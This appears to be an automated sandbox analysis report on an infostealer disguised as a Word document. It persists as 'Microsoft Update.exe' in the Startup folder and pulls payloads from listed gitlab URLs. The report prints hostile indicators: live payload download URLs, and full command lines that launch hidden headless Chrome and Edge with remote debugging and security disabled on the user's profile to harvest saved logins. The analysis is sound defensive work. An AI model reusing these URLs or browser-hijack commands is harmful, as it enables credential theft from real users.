Source: Microsoft Update.exe, 0000000E.00000003.3232266299.000001B47B1B3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gitlab.com/admin/
Source: VRO.exe, 00000000.00000003.2930262522.000001D4C8202000.00000004.00000020.00020000.00000000.sdmp, Microsoft Update.exe, 0000000E.00000002.3549928801.00007FFDFA6BD000.00000004.00000001.01000000.00000005.sdmp, Microsoft Update.exe, 0000000E.00000002.3546157321.000001B47E62F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gitlab.com/app8490744/updatesa/-/raw/main/Your_Benefits_and_Role.docx?inline=false
Source: Microsoft Update.exe, 0000000E.00000003.3232266299.000001B47B1B3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gitlab.com/assets/
Source: VRO.exe, 00000000.00000003.2930262522.000001D4C8202000.00000004.00000020.00020000.00000000.sdmp, VRO.exe, 00000000.00000002.2935402785.000001D4CD851000.00000004.00001000.00020000.00000000.sdmp, Microsoft Update.exe, 0000000E.00000002.3549928801.00007FFDFA6BD000.00000004.00000001.01000000.00000005.sdmp, Microsoft Update.exe, 0000000E.00000002.3546157321.000001B47E62F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gitlab.com/hko247.black/libs/-/raw/da36e8916e710628358afbbd35fc9d73b2fd41c2/e_sqlite3.dll?in
Source: VRO.exe, 00000000.00000002.2934265889.000001D4C4CBC000.00000004.00000020.00020000.00000000.sdmp, Microsoft Update.exe, 0000000E.00000002.3545297452.000001B47B0EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gitlab.com/hko247.black/truong/-/raw/main/svchost.hko?inline=false
Source: VRO.exe, 00000000.00000003.1860592631.000001D4C4D1D000.00000004.00000020.00020000.00000000.sdmp, Microsoft Update.exe, 0000000E.00000003.3231664254.000001B47B14B000.00000004.00000020.00020000.00000000.sdmp, Microsoft Update.exe, 0000000E.00000002.3545297452.000001B47B0EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gitlab.com/hko247.black/truong/-/raw/main/svchost.hko?inline=false%06%06%06%06%06%06
Source: Microsoft Update.exe, 0000000E.00000003.3231968820.000001B47B130000.00000004.00000020.00020000.00000000.sdmp, Microsoft Update.exe, 0000000E.00000002.3545297452.000001B47B11F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gitlab.com/o
Source: VRO.exe, 00000000.00000003.1861634341.000001D4C4CE8000.00000004.00000020.00020000.00000000.sdmp, Microsoft Update.exe, 0000000E.00000003.3231968820.000001B47B117000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gitlab.com:443/hko247.black/truong/-/raw/main/svchost.hko?inline=false%06%06%06%06%06%06
Source: Microsoft Update.exe, 0000000E.00000003.3232266299.000001B47B1B3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://new-sentry.gitlab.net
Source: Microsoft Update.exe, 0000000E.00000003.3232266299.000001B47B1B3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://new-sentry.gitlab.net/api/4/security/?sentry_key=f5573e26de8f4293b285e556c35dfd6e&sentry_env
Source: Microsoft Update.exe, 0000000E.00000003.3232266299.000001B47B1B3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sentry.gitlab.net
Source: Microsoft Update.exe, 0000000E.00000003.3232266299.000001B47B1B3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://snowplow.trx.gitlab.net
Source: Microsoft Update.exe, 0000000E.00000003.3232266299.000001B47B1B3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sourcegraph.com
Source: Microsoft Update.exe, 0000000E.00000002.3546157321.000001B47DB4F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://system.data.sqlite.org/
Source: VRO.exe, 00000000.00000003.2930262522.000001D4C7722000.00000004.00000020.00020000.00000000.sdmp, Microsoft Update.exe, 0000000E.00000002.3550300305.00007FFDFAA37000.00000002.00000001.01000000.00000005.sdmp, Microsoft Update.exe, 0000000E.00000002.3546157321.000001B47DB4F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://system.data.sqlite.org/X
Source: VRO.exe, 00000000.00000003.2930262522.000001D4C7722000.00000004.00000020.00020000.00000000.sdmp, Microsoft Update.exe, 0000000E.00000002.3550300305.00007FFDFAA37000.00000002.00000001.01000000.00000005.sdmp, Microsoft Update.exe, 0000000E.00000002.3546157321.000001B47DB4F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://urn.to/r/sds_see12https://urn.to/r/sds_see2
Source: VRO.exe, 00000000.00000003.2930262522.000001D4C7722000.00000004.00000020.00020000.00000000.sdmp, Microsoft Update.exe, 0000000E.00000002.3550300305.00007FFDFAA37000.00000002.00000001.01000000.00000005.sdmp, Microsoft Update.exe, 0000000E.00000002.3546157321.000001B47DB4F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://urn.to/r/sds_see23https://urn.to/r/sds_see1UInnerVerify
Source: msedge.exe, 00000009.00000002.2612978854.00001460000E0000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000C.00000002.2864237994.00004D44000D0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.catcert.net/verarrel
Source: Microsoft Update.exe, 0000000E.00000003.3232266299.000001B47B1B3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/recaptcha/
Source: Microsoft Update.exe, 0000000E.00000003.3232266299.000001B47B1B3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.googletagmanager.com/ns.html
Source: Microsoft Update.exe, 0000000E.00000003.3232266299.000001B47B1B3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/recaptcha/
Source: VRO.exe, 00000000.00000003.2930262522.000001D4C7722000.00000004.00000020.00020000.00000000.sdmp, Microsoft Update.exe, 0000000E.00000002.3546157321.000001B47DB4F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.newtonsoft.com/json
Source: Microsoft Update.exe, 0000000E.00000002.3546157321.000001B47DB4F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.newtonsoft.com/jsonschema
Source: VRO.exe, 00000000.00000003.2930262522.000001D4C7722000.00000004.00000020.00020000.00000000.sdmp, Microsoft Update.exe, 0000000E.00000002.3546157321.000001B47DB4F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.nuget.org/packages/Newtonsoft.Json.Bson
Source: Microsoft Update.exe, 0000000E.00000003.3232266299.000001B47B1B3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.recaptcha.net/
Source: VRO.exe, 00000000.00000003.2930262522.000001D4C7722000.00000004.00000020.00020000.00000000.sdmp, Microsoft Update.exe, 0000000E.00000002.3550300305.00007FFDFAA37000.00000002.00000001.01000000.00000005.sdmp, Microsoft Update.exe, 0000000E.00000002.3546157321.000001B47DB4F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.sqlite.org/rescode.html

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50019
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50021
Source: unknown	Network traffic detected: HTTP traffic on port 50018 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50019 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50022
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50024
Source: unknown	Network traffic detected: HTTP traffic on port 50022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50021 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443

Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.4:50017 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.74.152:443 -> 192.168.2.4:50018 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.4:50024 version: TLS 1.2

System Summary

Drops password protected ZIP file

Source: Backup_[United States]_8.46.123.189_[1401].zip.0.dr

Zip Entry: encrypted

Source: C:\Users\user\Desktop\VRO.exe	Code function: 0_2_00007FF6A7296414	0_2_00007FF6A7296414
Source: C:\Users\user\Desktop\VRO.exe	Code function: 0_2_00007FF6A72BD874	0_2_00007FF6A72BD874
Source: C:\Users\user\Desktop\VRO.exe	Code function: 0_2_00007FF6A72B48B0	0_2_00007FF6A72B48B0
Source: C:\Users\user\Desktop\VRO.exe	Code function: 0_2_00007FF6A72A7894	0_2_00007FF6A72A7894
Source: C:\Users\user\Desktop\VRO.exe	Code function: 0_2_00007FF6A72A98D0	0_2_00007FF6A72A98D0
Source: C:\Users\user\Desktop\VRO.exe	Code function: 0_2_00007FF6A72B8F60	0_2_00007FF6A72B8F60
Source: C:\Users\user\Desktop\VRO.exe	Code function: 0_2_00007FF6A72B3018	0_2_00007FF6A72B3018
Source: C:\Users\user\Desktop\VRO.exe	Code function: 0_2_00007FF6A72A7690	0_2_00007FF6A72A7690
Source: C:\Users\user\Desktop\VRO.exe	Code function: 0_2_00007FF6A72B7700	0_2_00007FF6A72B7700
Source: C:\Users\user\Desktop\VRO.exe	Code function: 0_2_00007FF6A72BBD44	0_2_00007FF6A72BBD44
Source: C:\Users\user\Desktop\VRO.exe	Code function: 0_2_00007FF6A72B5D38	0_2_00007FF6A72B5D38
Source: C:\Users\user\Desktop\VRO.exe	Code function: 0_2_00007FF6A72B757C	0_2_00007FF6A72B757C
Source: C:\Users\user\Desktop\VRO.exe	Code function: 0_2_00007FF6A72ADDEC	0_2_00007FF6A72ADDEC
Source: C:\Users\user\Desktop\VRO.exe	Code function: 0_2_00007FF6A72BDDCC	0_2_00007FF6A72BDDCC
Source: C:\Users\user\Desktop\VRO.exe	Code function: 0_2_00007FF6A72B4C60	0_2_00007FF6A72B4C60
Source: C:\Users\user\Desktop\VRO.exe	Code function: 0_2_00007FF6A72B34B0	0_2_00007FF6A72B34B0
Source: C:\Users\user\Desktop\VRO.exe	Code function: 0_2_00007FF6A72A748C	0_2_00007FF6A72A748C
Source: C:\Users\user\Desktop\VRO.exe	Code function: 0_2_00007FF6A72BA4C0	0_2_00007FF6A72BA4C0
Source: C:\Users\user\Desktop\VRO.exe	Code function: 0_2_00007FF6A72A83C8	0_2_00007FF6A72A83C8
Source: C:\Users\user\Desktop\VRO.exe	Code function: 0_2_00007FF6A72A93B8	0_2_00007FF6A72A93B8
Source: C:\Users\user\Desktop\VRO.exe	Code function: 0_2_00007FF6A72AAA40	0_2_00007FF6A72AAA40
Source: C:\Users\user\Desktop\VRO.exe	Code function: 0_2_00007FF6A72ACAF4	0_2_00007FF6A72ACAF4
Source: C:\Users\user\Desktop\VRO.exe	Code function: 0_2_00007FF6A72B3B28	0_2_00007FF6A72B3B28
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft Update.exe	Code function: 14_2_00007FF7B68793B8	14_2_00007FF7B68793B8
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft Update.exe	Code function: 14_2_00007FF7B6866414	14_2_00007FF7B6866414
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft Update.exe	Code function: 14_2_00007FF7B6888F60	14_2_00007FF7B6888F60
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft Update.exe	Code function: 14_2_00007FF7B68848B0	14_2_00007FF7B68848B0
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft Update.exe	Code function: 14_2_00007FF7B68798D0	14_2_00007FF7B68798D0
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft Update.exe	Code function: 14_2_00007FF7B6883018	14_2_00007FF7B6883018
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft Update.exe	Code function: 14_2_00007FF7B688D874	14_2_00007FF7B688D874
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft Update.exe	Code function: 14_2_00007FF7B6877894	14_2_00007FF7B6877894
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft Update.exe	Code function: 14_2_00007FF7B688DDCC	14_2_00007FF7B688DDCC
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft Update.exe	Code function: 14_2_00007FF7B687DDEC	14_2_00007FF7B687DDEC
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft Update.exe	Code function: 14_2_00007FF7B688BD44	14_2_00007FF7B688BD44
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft Update.exe	Code function: 14_2_00007FF7B6885D38	14_2_00007FF7B6885D38
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft Update.exe	Code function: 14_2_00007FF7B688757C	14_2_00007FF7B688757C
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft Update.exe	Code function: 14_2_00007FF7B6887700	14_2_00007FF7B6887700
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft Update.exe	Code function: 14_2_00007FF7B6877690	14_2_00007FF7B6877690
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft Update.exe	Code function: 14_2_00007FF7B68783C8	14_2_00007FF7B68783C8
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft Update.exe	Code function: 14_2_00007FF7B6883B28	14_2_00007FF7B6883B28
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft Update.exe	Code function: 14_2_00007FF7B68834B0	14_2_00007FF7B68834B0
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft Update.exe	Code function: 14_2_00007FF7B688A4C0	14_2_00007FF7B688A4C0
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft Update.exe	Code function: 14_2_00007FF7B6884C60	14_2_00007FF7B6884C60
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft Update.exe	Code function: 14_2_00007FF7B687748C	14_2_00007FF7B687748C
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft Update.exe	Code function: 14_2_00007FF7B687CAF4	14_2_00007FF7B687CAF4
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft Update.exe	Code function: 14_2_00007FF7B687AA40	14_2_00007FF7B687AA40

Source: Joe Sandbox View

Dropped File: C:\Users\user\Desktop\e_sqlite3.dll 1D2D090188CD500EB6098701690A72F090440162A651123EAB44132525597446

Source: VRO.exe	Binary or memory string: OriginalFilename vs VRO.exe
Source: VRO.exe, 00000000.00000002.2936458297.00007FF6A72D9000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameJob Support.docx< vs VRO.exe
Source: VRO.exe, 00000000.00000003.2930262522.000001D4C8202000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameoke.dll@ vs VRO.exe
Source: VRO.exe, 00000000.00000000.1661511836.00007FF6A72DD000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameJob Support.docx< vs VRO.exe
Source: VRO.exe, 00000000.00000003.2933324633.000001D4C6BF6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameJob Support.docx< vs VRO.exe
Source: VRO.exe, 00000000.00000003.2930262522.000001D4C7722000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: get_Language$get_LegalCopyright&get_LegalTrademarks(get_OriginalFilename get_PrivateBuild(get_ProductBuildPart(get_ProductMajorPart(get_ProductMinorPart vs VRO.exe
Source: VRO.exe, 00000000.00000003.2930262522.000001D4C7722000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: _legalCopyright"_originalFilename vs VRO.exe
Source: VRO.exe, 00000000.00000003.2930262522.000001D4C7722000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename vs VRO.exe
Source: VRO.exe, 00000000.00000003.2930262522.000001D4C7722000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameSQLitePCLRaw.batteries_v2.dllV vs VRO.exe
Source: VRO.exe, 00000000.00000003.2930262522.000001D4C7722000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameSQLitePCLRaw.provider.e_sqlite3.dllV vs VRO.exe
Source: VRO.exe, 00000000.00000003.2930262522.000001D4C7722000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameSystem.Data.SQLite.dllF vs VRO.exe
Source: VRO.exe, 00000000.00000003.2930262522.000001D4C7722000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameSystem.IO.Compression.dll@ vs VRO.exe
Source: VRO.exe, 00000000.00000003.2930262522.000001D4C7722000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameSystem.Security.Cryptography.ProtectedData.dll@ vs VRO.exe
Source: VRO.exe, 00000000.00000003.2930262522.000001D4C7722000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameSystem.Management.dll@ vs VRO.exe
Source: VRO.exe, 00000000.00000003.2930262522.000001D4C7722000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameSystem.Diagnostics.Process.dll@ vs VRO.exe
Source: VRO.exe, 00000000.00000003.2930262522.000001D4C7722000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameSQLitePCLRaw.core.dllV vs VRO.exe
Source: VRO.exe, 00000000.00000003.2930262522.000001D4C7722000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameEntityFramework.dllV vs VRO.exe
Source: VRO.exe, 00000000.00000003.2930262522.000001D4C7722000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameNewtonsoft.Json.dll2 vs VRO.exe
Source: VRO.exe	Binary or memory string: OriginalFilenameJob Support.docx< vs VRO.exe

Source: classification engine

Classification label: mal92.troj.adwa.spyw.winEXE@38/11@3/4

Source: C:\Users\user\Desktop\VRO.exe

Code function: 0_2_00007FF6A7296C24 CreateFileW,CreateFileW,GetLastError,GetLastError,FormatMessageW,FormatMessageW,

0_2_00007FF6A7296C24

Source: C:\Users\user\Desktop\VRO.exe

File created: C:\Users\user\Desktop\MyApp\

Jump to behavior

Source: C:\Users\user\Desktop\VRO.exe

File created: C:\Users\user\AppData\Local\Temp\tmpeylteu.tmp

Jump to behavior

Source: VRO.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\VRO.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: VRO.exe, 00000000.00000002.2936120727.000001D4CDC00000.00000004.00001000.00020000.00000000.sdmp, e_sqlite3.dll.0.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: VRO.exe, 00000000.00000002.2936120727.000001D4CDC00000.00000004.00001000.00020000.00000000.sdmp, e_sqlite3.dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: VRO.exe, 00000000.00000002.2936120727.000001D4CDC00000.00000004.00001000.00020000.00000000.sdmp, e_sqlite3.dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: VRO.exe, 00000000.00000002.2936120727.000001D4CDC00000.00000004.00001000.00020000.00000000.sdmp, e_sqlite3.dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: VRO.exe, 00000000.00000002.2936120727.000001D4CDC00000.00000004.00001000.00020000.00000000.sdmp, e_sqlite3.dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: VRO.exe, 00000000.00000002.2936120727.000001D4CDC00000.00000004.00001000.00020000.00000000.sdmp, e_sqlite3.dll.0.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: VRO.exe, 00000000.00000003.2890112251.000001D4C6CD0000.00000004.00000020.00020000.00000000.sdmp, VRO.exe, 00000000.00000003.2890197747.000001D4C6AD1000.00000004.00000020.00020000.00000000.sdmp, VRO.exe, 00000000.00000002.2934352732.000001D4C4D2D000.00000004.00000020.00020000.00000000.sdmp, VRO.exe, 00000000.00000003.2933324633.000001D4C6CD0000.00000004.00000020.00020000.00000000.sdmp, VRO.exe, 00000000.00000003.2933600145.000001D4C4D2D000.00000004.00000020.00020000.00000000.sdmp, VRO.exe, 00000000.00000003.2889529783.000001D4C4D2D000.00000004.00000020.00020000.00000000.sdmp, VRO.exe, 00000000.00000003.2890573155.000001D4C6CD0000.00000004.00000020.00020000.00000000.sdmp, VRO.exe, 00000000.00000003.2890827152.000001D4C4D2D000.00000004.00000020.00020000.00000000.sdmp, VRO.exe, 00000000.00000003.2890389550.000001D4C4D2D000.00000004.00000020.00020000.00000000.sdmp, Default_LoginDataTemp.db.0.dr, tmpeylteu.tmp.0.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: VRO.exe, 00000000.00000002.2936120727.000001D4CDC00000.00000004.00001000.00020000.00000000.sdmp, e_sqlite3.dll.0.dr	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);

Source: C:\Users\user\Desktop\VRO.exe

File read: C:\Users\user\Desktop\VRO.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\VRO.exe "C:\Users\user\Desktop\VRO.exe"
Source: C:\Users\user\Desktop\VRO.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9562 --user-data-dir="C:\Users\user\AppData\Local\Google\Chrome\User Data" --profile-directory="Default" --disable-popup-blocking --disable-extensions --disable-gpu --disable-software-rasterizer --disable-dev-shm-usage --no-sandbox --disable-logging --disable-web-security --allow-running-insecure-content --ignore-certificate-errors --disable-features=IsolateOrigins,site-per-process --disable-blink-features=AutomationControlled --disable-background-networking --disable-default-apps --disable-hang-monitor --disable-sync --disable-client-side-phishing-detection --disable-background-timer-throttling --disable-renderer-backgrounding --disable-backgrounding-occluded-windows --disable-ipc-flooding-protection --mute-audio --window-size=1280,720 --window-position=-3000,-3000 --headless
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --no-sandbox --ignore-certificate-errors --use-angle=swiftshader-webgl --use-gl=angle --mute-audio --ignore-certificate-errors --headless --disable-logging --mojo-platform-channel-handle=1656 --field-trial-handle=1488,i,16314425066531469225,11487421287566964824,262144 --disable-features=IsolateOrigins,PaintHolding,site-per-process /prefetch:8
Source: C:\Users\user\Desktop\VRO.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9992 --user-data-dir="C:\Users\user\AppData\Local\Google\Chrome\User Data" --profile-directory="Default" --disable-popup-blocking --disable-extensions --disable-gpu --disable-software-rasterizer --disable-dev-shm-usage --no-sandbox --disable-logging --disable-web-security --allow-running-insecure-content --ignore-certificate-errors --disable-features=IsolateOrigins,site-per-process --disable-blink-features=AutomationControlled --disable-background-networking --disable-default-apps --disable-hang-monitor --disable-sync --disable-client-side-phishing-detection --disable-background-timer-throttling --disable-renderer-backgrounding --disable-backgrounding-occluded-windows --disable-ipc-flooding-protection --mute-audio --window-size=1280,720 --window-position=-3000,-3000 --headless
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --no-sandbox --ignore-certificate-errors --use-angle=swiftshader-webgl --use-gl=angle --mute-audio --ignore-certificate-errors --headless --disable-logging --mojo-platform-channel-handle=1604 --field-trial-handle=1416,i,9921731140801761546,7408010498993882837,262144 --disable-features=IsolateOrigins,PaintHolding,site-per-process /prefetch:8
Source: C:\Users\user\Desktop\VRO.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9651 --user-data-dir="C:\Users\user\AppData\Local\Microsoft\Edge\User Data" --profile-directory="Default" --disable-popup-blocking --disable-extensions --disable-gpu --disable-software-rasterizer --disable-dev-shm-usage --no-sandbox --disable-logging --disable-web-security --allow-running-insecure-content --ignore-certificate-errors --disable-features=IsolateOrigins,site-per-process --disable-blink-features=AutomationControlled --disable-background-networking --disable-default-apps --disable-hang-monitor --disable-sync --disable-client-side-phishing-detection --disable-background-timer-throttling --disable-renderer-backgrounding --disable-backgrounding-occluded-windows --disable-ipc-flooding-protection --mute-audio --window-size=1280,720 --window-position=-3000,-3000 --headless
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --no-sandbox --ignore-certificate-errors --use-angle=swiftshader-webgl --use-gl=angle --mute-audio --ignore-certificate-errors --headless --disable-logging --mojo-platform-channel-handle=1404 --field-trial-handle=1460,i,10255789939080052098,10160627402443088733,262144 --disable-features=IsolateOrigins,PaintHolding,site-per-process /prefetch:3
Source: C:\Users\user\Desktop\VRO.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9953 --user-data-dir="C:\Users\user\AppData\Local\Microsoft\Edge\User Data" --profile-directory="Default" --disable-popup-blocking --disable-extensions --disable-gpu --disable-software-rasterizer --disable-dev-shm-usage --no-sandbox --disable-logging --disable-web-security --allow-running-insecure-content --ignore-certificate-errors --disable-features=IsolateOrigins,site-per-process --disable-blink-features=AutomationControlled --disable-background-networking --disable-default-apps --disable-hang-monitor --disable-sync --disable-client-side-phishing-detection --disable-background-timer-throttling --disable-renderer-backgrounding --disable-backgrounding-occluded-windows --disable-ipc-flooding-protection --mute-audio --window-size=1280,720 --window-position=-3000,-3000 --headless
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --no-sandbox --ignore-certificate-errors --use-angle=swiftshader-webgl --use-gl=angle --mute-audio --ignore-certificate-errors --headless --disable-logging --mojo-platform-channel-handle=1984 --field-trial-handle=1924,i,337883984833686401,2949001340945337258,262144 --disable-features=IsolateOrigins,PaintHolding,site-per-process /prefetch:3
Source: unknown	Process created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft Update.exe "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft Update.exe"
